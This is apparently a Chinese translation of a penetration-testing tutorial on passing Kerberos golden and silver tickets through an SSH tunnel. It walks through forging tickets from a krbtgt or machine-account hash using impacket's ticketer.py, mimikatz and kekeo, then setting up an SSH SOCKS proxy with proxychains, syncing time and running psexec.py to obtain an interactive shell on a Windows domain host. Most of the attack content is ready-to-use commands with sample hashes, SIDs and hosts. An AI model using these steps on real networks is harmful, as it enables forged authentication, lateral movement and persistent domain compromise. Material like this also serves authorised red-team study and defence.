譯者:二向箔安全
原文: How To Pass the Ticket Through SSH Tunnels

1. 前言

如果我們在滲透過程中能夠拿到用戶的 TGT,并能將其導入到內存,那么就可以冒充該用戶獲得其訪問權限,這就是 Pass the ticket(PtT)。PtT 技術使用 Kerberos ticket 來代替明文密碼或 NTLM 散列。大多數的 PtT 都用的是 golden ticket 和 silver ticket。通常來說,通過PtT 技術獲得一臺主機的控制權限是非常容易的,但是通過 ssh隧道的 PtT 攻擊技術就較為復雜了。 曾經遇到過這樣的情況:我們在沒有特權 ssh 訪問到 dmz 區中的一臺帶有內網連接的 linux 主機的條件下卻意外地獲得了目標的 krbtgt 和機器賬戶的 NTLM 散列值。這個網絡拓撲大概是這樣的:

當我們試圖在網絡分段的部分對一些敏感的主機進行域內劃分的時候,可能就會遇到這種類似的情況,這篇文章我們將著重介紹如何通過 SSH 隧道 pass golden ticket 和 silver ticket。作為本文的一個示例,我們將嘗試通過位于 10.0.10.81 的 Linux 主機來對 Windows 主機 win-rmjbtdb7qtf 進行攻擊。

Golden Tickets

Golen Tickets(偽造的 TGT tickets )提供了攻擊者一些用以長久化訪問域控、在網絡中進行跨域訪問,以及作為不存在的用戶去訪問網絡資源的方法。想了解 Golden Tickets 的詳細信息的話,可以去看看這個:Kerberos Golden。攻擊者只需要一臺安裝了 impacket 和 proxychains 工具的 linux 的主機,并且這臺主機不需要加入域環境中。

2. 偽造 ticket

要創建一個 golden ticket ,通常我們需要從目標域獲取到以下信息:

  1. krbtgt賬戶的nt哈希值
  2. 目標域的sid
  3. 目標域的fqdn(全稱域名)
  4. 模擬的賬戶

我們將使用 impacket 的一個樣例腳本 ticketer.py 來創建 golden tickets 的憑證緩存 (ccache) 文件。下面是為用戶 mbroda 創建 ccache 文件的語法示例:

./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

為了使 impacket 的腳本使用 ccache 文件進行身份驗證,而不是提供明文密碼或NT哈希,我們需要將 KRB5CCNAME 變量設置為 ccache 文件的絕對路徑:

export KRB5CCNAME=/path/to/ccache/file

驗證變量是否設置正確我們使用下面的語句:

echo $KRB5CCNAME

現在,我們就可以使用-k參數讓支持 Kerberos 身份驗證的 impacket 腳本使用 golden tickets ,而不是去提供明文密碼或 NT 哈希來進行身份驗證。

3. 名稱解析

為了確保 Kerberos 身份驗證過程成功,我們需要修改攻擊者機器 /etc/hosts 文件,以包含目標域控制器的 FQDN 和目標主機的 NetBIOS 名稱。下面就是個修改的例子:

127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128  WIN-RMJBTDB7QTF

如果你還沒有域控主機的 IP 地址,那么你可以通過 ssh 會話連接的 linux 在目標域上之執行 nslookup ,例如:

nslookup -type=srv _ldap._tcp.AMITY.LOCAL

4. 代理設置

我們將使用 proxychains 在 ssh 通道上來實現一個域內的漫游,檢查配置文件的最后一行來驗證 proxychains 代理的端口,kali 下配置文件默認位置是/etc/proxychains.conf

注意:如果您在執行攻擊時遇到名稱解析的問題,您可能需要在 proxychains 配置文件中對 proxydns 設置進行注釋。

當我們通過 ssh 會話連接到目標的 linux 主機的時候,使用-D參數對應著 proxychains 設置的端口。這將在我們本地主機的端口上創建一個可以利用 proxychains 實現域內漫游的 socks 代理。例如:

ssh unpriv@10.0.10.81 -D 1337

為了驗證代理通道的創建是否成功,我們可以通過 proxychains 代理 nmap 的 TCP 掃描方式掃描目標主機的445端口。

proxychains nmap -sT -Pn -p 445 192.168.26.128

5. 時間同步

如果攻擊機的時間比目標域控距離快大約5分鐘的話,golden tickets 就無法正常的工作。

如果真如以上所述,我們可以使用 net time 來檢查目標的時間(下面的第1行),并在攻擊者機器(第2行)上設置時間:

proxychains net time -S <IP-of-DC>
proxychains net time set -S <IP-of-DC>

6. 發起攻擊

等一切都已準備就緒,我們可以使用任何支持 ccache 身份驗證的工具來攻擊目標主機。Impacket 的 psexec.py 就是這樣一個工具,運行一下命令后將反彈回一個交互式的 CMD :

proxychains ./psexec.py mbrody-da@WIN-RMJBTDB7QTF -k -no-pass

如果你在攻擊時遇到錯誤,檢查相關的配置,并且使用 psexec.py 的 -debug 參數進行錯誤排除。

7. Silver Tickets

Silver Tickets(偽造的TGS Tickets)將用戶認證為一個在主機上運行的服務,并為攻擊者提供隱秘和持久的選項,這些是 golden tickets 所沒有的。更多有關信息可以點擊:文章

這次攻擊需要一個 Linux 主機,安裝有 Impacket 和proxychains,并且還有一臺安裝了 Mimikatzkekeo 的 Windows 主機。兩個主機都不需要成為域成員。

8. 偽造 ticket

要生成一個 silver ticket ,我們需要以下信息:

  1. 目標主機賬戶NTLM散列值
  2. 目標主機的fqdn
  3. 目標服務
  4. 目標域的sid
  5. 目標域的fqdn
  6. 模擬的賬戶

在本例中,我們將通過 SMB 協議對目標主機進行身份驗證,因此我們將使用 CIFS 服務,有人列出了一份普通的 spn清單 ,這個可以在 silver ticket 中使用。

在這個時候我們就不能用 ticketer.py 來生成我們的 silver ticket 。我們在準備好的 windows 主機上使用 mimikatz 來生成 silver ticket 的 kirbi 文件,接下來使用 kekeo 來將我們的 silver ticket 轉化為 ccache 文件。

使用 Mimikatz 的 Kerberos模塊 用如下命令生成 silver ticket:

kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

下面是為用戶 mbroda 和 CIFS 服務創建 ticket 的示例:

kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs

退出 mimikatz ,并啟動 kekeo ,使用以下語法將 kirbi 文件轉換為 ccache 文件:

misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...

拷貝這個 ccache 文件到攻擊的 Linux 主機。確保在 Linux 主機上記錄這個文件的絕對路徑;我們將使用這個路徑去設置我們的 KRB5CCNAME 變量。接下來的工作就全是我們的 linux 主機完成的了。

9. 攻擊過程

剩下的 silver ticket 攻擊設置基本類似于 “golden ticket” ,但有兩個例外。

首先,我們需要在/etc/hosts文件中提供目標主機的 FQDN ,而不是之前的 NetBIOS 名。對于我們的示例,/etc/hosts文件應該是這樣的:

127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128  WIN-RMJBTDB7QTF.amity.local

第二個區別是我們需要將我們的攻擊機的時間與目標主機同步, silver ticket 不需要與我們的目標域控進行通信。

遵循上面的步驟,設置 KRB5CCNAME 變量,檢查 proxychains 配置,建立 SSH 隧道做 socks 代理,并使用 nmap 驗證代理可用。我們現在可以通過目標主機的 fqdn 使用 psexec.py 腳本進行攻擊了。

proxychains python psexec.py mbrody-da@WIN-RMJBTDB7QTF.amity.local -k -no-pass

10. 小結

Golden ticket 和 silver ticket 技術為攻擊者提供了持續和隱秘的技術,但是都需要向目標主機轉發連接來實現這一目的。當攻擊者在域滲透時可能發現自己有了一些 ssh 權限,但是卻只能通過 Linux 主機間接到達目標主機,在這些場景中,可以通過 proxychains 掛代理通過 SSH 隧道執行 PtT 攻擊。這篇文章介紹了使用 psexec.py 在目標主機上發起攻擊的情況,其實其他任何支持-k參數的任何有效腳本都可以進行攻擊。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/321/